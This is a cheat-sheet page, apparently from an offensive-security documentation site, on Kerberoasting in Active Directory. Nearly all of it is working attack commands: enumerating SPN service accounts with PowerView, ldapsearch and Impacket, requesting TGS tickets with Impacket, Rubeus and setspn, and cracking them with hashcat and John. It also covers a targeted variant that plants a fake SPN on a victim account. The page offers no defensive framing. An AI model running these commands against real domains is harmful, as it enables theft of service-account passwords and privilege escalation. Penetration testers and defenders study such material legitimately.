> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Kerberoasting

> Kerberoasting: request TGS tickets for service accounts and crack offline to recover passwords.

## Overview

Any domain user can request TGS ticket for any service with SPN. Ticket encrypted with service account password hash → crack offline.

***

## Find SPNs

### PowerView

```powershell theme={"dark"}
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName
```

### ldapsearch

```bash theme={"dark"}
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "user@domain.local" -w 'pass' "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
```

### Impacket

```bash theme={"dark"}
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP
```

***

## Request Tickets

### Impacket (Linux)

```bash theme={"dark"}
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP -request
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP -request -outputfile hashes.txt
```

### Rubeus (Windows)

```powershell theme={"dark"}
.\Rubeus.exe kerberoast
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_account
```

### PowerView

```powershell theme={"dark"}
Request-SPNTicket -SPN "MSSQLSvc/sql.domain.local"
```

### setspn (Built-in)

```cmd theme={"dark"}
setspn -T DOMAIN -Q */*
```

***

## Crack

### Hashcat

```bash theme={"dark"}
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
```

### John

```bash theme={"dark"}
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

***

## Targeted Kerberoasting

Set SPN on user you want to attack (needs GenericAll/GenericWrite).

```powershell theme={"dark"}
Set-DomainObject -Identity targetuser -SET @{serviceprincipalname='fake/spn'}
.\Rubeus.exe kerberoast /user:targetuser
Set-DomainObject -Identity targetuser -Clear serviceprincipalname   # Cleanup
```

***

## Quick Reference

| Task      | Command                                           |
| --------- | ------------------------------------------------- |
| Find SPNs | `impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC` |
| Request   | Add `-request -outputfile hashes.txt`             |
| Crack     | `hashcat -m 13100 hashes.txt wordlist`            |
| Rubeus    | `.\Rubeus.exe kerberoast`                         |